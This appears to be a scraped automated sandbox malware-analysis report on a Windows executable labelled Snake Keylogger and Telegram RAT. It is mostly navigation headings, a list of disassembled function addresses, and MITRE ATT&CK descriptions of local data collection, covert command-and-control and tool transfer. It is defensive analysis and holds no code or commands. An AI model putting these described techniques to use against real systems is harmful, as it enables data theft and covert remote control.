Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 0OZQi3b0tM.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Snake Keylogger

Threatname: Telegram RAT

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
0OZQi3b0tM.exe

Function 00C65587 Relevance: 2.1, APIs: 1, Instructions: 634
libraryCOMMON

Function 04ECB798 Relevance: 1.8, APIs: 1, Instructions: 302
COMMON

Function 00C683C9 Relevance: 1.8, APIs: 1, Instructions: 277
COMMON

Function 00C66111 Relevance: 1.8, APIs: 1, Instructions: 274
COMMON

Function 04EC0498 Relevance: 1.8, APIs: 1, Instructions: 268
COMMON

Function 04EC0040 Relevance: 1.8, APIs: 1, Instructions: 268
COMMON

Function 04EC08F0 Relevance: 1.8, APIs: 1, Instructions: 268
COMMON

Function 04EC5850 Relevance: 1.7, Instructions: 1675
COMMON

Function 04EC001E Relevance: 1.6, APIs: 1, Instructions: 115
COMMON

Function 04EC0488 Relevance: 1.6, APIs: 1, Instructions: 104
COMMON

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre